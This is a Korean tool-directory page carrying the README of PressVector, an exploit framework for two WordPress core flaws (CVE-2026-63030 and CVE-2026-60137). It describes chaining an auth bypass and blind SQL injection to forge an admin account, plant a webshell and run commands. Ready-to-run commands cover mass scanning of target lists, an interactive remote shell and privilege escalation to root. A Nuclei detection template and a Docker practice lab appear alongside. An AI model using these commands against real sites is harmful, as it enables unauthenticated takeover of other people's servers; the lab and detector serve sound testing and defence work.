Skip to content
KitploitKITPLOIT
도구익스플로잇블로그
Log in
제출
도구익스플로잇블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

피드문의개인정보© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
PressVector — PressVector - 고급 WordPress 취약점 스캐너 CVE-2026-63030 (REST 배치 라우트 혼동) / CVE-2026-60137 (SQLi) 개발자: Vulnquest | Kitploit
도구/GitHubGitHub/vulnquest58/pressvector
ReconnaissanceVulnerability ScannersWeb Vulnerability ScannersInformation GatheringWeb SecurityPenetration Testing
GitHubvulnquest58/pressvector

PressVector

PressVector - 고급 WordPress 취약점 스캐너 CVE-2026-63030 (REST 배치 라우트 혼동) / CVE-2026-60137 (SQLi) 개발자: Vulnquest

저장소 보기
11333개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

🧨 PressVector — WordPress CVE-2026-63030 / CVE-2026-60137 익스플로잇 프레임워크

⚡ WordPress 코어를 위한 고급 사전 인증 RCE 및 블라인드 SQLi 익스플로잇 프레임워크


📌 개요

PressVector는 CVE-2026-63030 및 CVE-2026-60137을 대상으로 하는 포괄적이고 완전 자동화된 익스플로잇 프레임워크입니다. 이 두 취약점은 WordPress 코어의 치명적인 취약점으로, 함께 연계하면 인증 없이 원격 코드 실행이 가능합니다.

이 프레임워크는 REST Batch Route Confusion과 블라인드 SQL 인젝션을 연계하여 관리자 세션을 위조하고, 웹셸을 배포하며, 임의의 OS 명령을 실행합니다 — 자격 증명 없이 전부 가능합니다.

⚠️ 승인된 보안 테스트 및 교육 목적으로만 사용하십시오.


🔍 CVE-2026-63030 (wp2shell)이란?

CVE-2026-63030은 Adam Kues(Assetnote / Searchlight Cyber)가 발견한 WordPress 코어의 치명적인 사전 인증 RCE 취약점입니다. 이 익스플로잇은 두 가지 독립적인 취약점을 연계합니다:

CVE권고유형영향
CVE-2026-63030GHSA-ff9f-jf42-662qREST Batch Route Confusion사전 인증 RCE
CVE-2026-60137GHSA-fpp7-x2x2-2mjfauthor__not_in SQL 인젝션사전 인증 블라인드 SQLi

💥 익스플로잇 체인

[Unauthenticated Attacker]
        │
        ▼
[1] REST Batch Route Confusion (/batch/v1)
        │  Bypass auth context — treat batch as internal
        ▼
[2] Blind SQLi via author__not_in parameter
        │  Time-based binary search extraction
        ▼
[3] Extract table prefix + admin user ID
        │
        ▼
[4] Forge admin user via UNION-based injection
        │  Insert into wp_users + wp_usermeta
        ▼
[5] Authenticate & Upload webshell via Media API
        │
        ▼
[6] Remote Code Execution 🎯

📊 영향을 받는 버전

WordPress 버전적용되는 CVE영향상태
6.8.0 – 6.8.5CVE-2026-60137🟡 블라인드 SQLi (높음)❌ 취약함
6.9.0 – 6.9.4CVE-2026-63030 + CVE-2026-60137🔴 인증 전 RCE (치명적)❌ 취약함
7.0.0 – 7.0.1CVE-2026-63030 + CVE-2026-60137🔴 인증 전 RCE (치명적)❌ 취약함
7.1-alpha / 7.1-beta1CVE-2026-60137🟡 SQLi (높음)❌ 취약함
6.8.6+ / 6.9.5+ / 7.0.2+—✅ 패치됨✅ 안전함

📦 설치

# Clone the repository
git clone https://github.com/vulnquest58/PressVector.git
cd PressVector

# No external dependencies required!
# Uses Python standard library only — Python 3.7+ required
python pressvector.py --help

🛠️ 포함된 도구

1️⃣ pressvector.py — 메인 익스플로잇 프레임워크

4가지 작동 모드를 갖춘 완전한 기능의 익스플로잇 프레임워크입니다.

🔎 scan — 다중 대상 취약점 스캐너

대규모로 취약한 WordPress 설치를 탐지하기 위한 빠른 다중 스레드 스캐너입니다.

# Scan multiple targets from CLI
python pressvector.py scan http://target1.com http://target2.com

# Scan from a file list (10 threads)
python pressvector.py scan -f targets.txt -t 10

# Output as JSON
python pressvector.py scan -f targets.txt -t 10 --json

✅ check — 블라인드 SQLi 확인

타이밍 보정을 통해 단일 대상에서 시간 기반 블라인드 SQL 인젝션을 확인합니다.

# Check a single target
python pressvector.py check http://target.com

# Custom delay and repeats for accuracy
python pressvector.py check http://target.com --delay 3.0 --repeats 5

💥 exploit — 전체 RCE 익스플로잇 체인

전체 익스플로잇: 관리자 위조 → 웹셸 배포 → 명령 실행.

# Execute a single command
python pressvector.py exploit http://target.com -c "id"

# Interactive shell (full TTY-like experience)
python pressvector.py exploit http://target.com -i

# Through a proxy (Burp Suite / MITM)
python pressvector.py exploit http://target.com -i --proxy http://127.0.0.1:8080

# Don't clean up artifacts after exploitation
python pressvector.py exploit http://target.com -c "whoami" --no-cleanup

🔺 privesc — 권한 상승

RCE를 달성한 후 로컬 권한 상승을 시도합니다.

# Run privesc and get interactive root shell
python pressvector.py privesc http://target.com -i

# Run privesc without cleanup
python pressvector.py privesc http://target.com --no-cleanup

2️⃣ pressvector-wp2shell-detection.yaml — Nuclei 탐지 템플릿

대규모 수동 탐지를 위한 프로덕션 환경에 바로 사용할 수 있는 Nuclei 템플릿입니다.

# Run with Nuclei
nuclei -t pressvector-wp2shell-detection.yaml -u http://target.com

# Bulk scan
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -o results.txt

# With rate limiting
nuclei -t pressvector-wp2shell-detection.yaml -l targets.txt -rl 50

템플릿 기능:

  • 🔍 다중 소스 버전 탐지 (meta generator + RSS 피드 폴백)
  • 📡 REST API 네임스페이스 핑거프린팅
  • 🎯 배치 경로 접근성 프로빙
  • 📋 동적 출력: 버전, CVE 유형, 공격 벡터

🧪 랩 환경 (Docker)

이러한 취약점을 안전하고 격리된 환경에서 테스트할 수 있도록 완전히 자동화된 컨테이너 기반 침투 테스트 랩이 포함되어 있습니다.

빠른 시작

Windows (PowerShell):

cd pressvector-lab
.\start-lab.ps1

Linux / macOS:

cd pressvector-lab
chmod +x start-lab.sh && ./start-lab.sh

(첫 실행 시 WP-CLI 설치 프로그램이 모든 WordPress 사이트를 자동으로 설정할 때까지 약 60~90초 기다리세요).

랩 서비스 및 포트

포트서비스WordPress 버전취약점 / 상태
8080대상 16.8.5CVE-2026-60137 (Blind SQLi 전용) 🔴
8081대상 26.9.4CVE-2026-63030 (인증 전 RCE) 🔴
8082대상 37.0.1CVE-2026-63030 (인증 전 RCE) 🔴
8083참조최신패치됨 / 안전한 참조 ✅
8084PHPMyAdmin—DB 관리 도구
8085랩 대시보드—대상 상태 및 복사 가능한 명령이 포함된 웹 UI 🖥️

관리자 자격 증명: admin / admin123
MySQL 루트 비밀번호: root

검증 및 자동화된 테스트

자동화된 테스트 스위트를 사용하여 전체 랩 상태와 익스플로잇 경로를 검증할 수 있습니다:

# Run SQLi & RCE automated tests
python pressvector-lab/tests/run_all_tests.py

랩 제어 명령

  • 랩 중지(데이터 유지): stop-lab.sh 또는 .\stop-lab.ps1 실행
  • 랩 초기화(데이터 삭제 및 빌드 정리): reset-lab.sh 또는 .\reset-lab.ps1 실행

고급 지침 및 문제 해결은 Lab README를 참조하세요.


🏗️ 아키텍처

도구 다운로드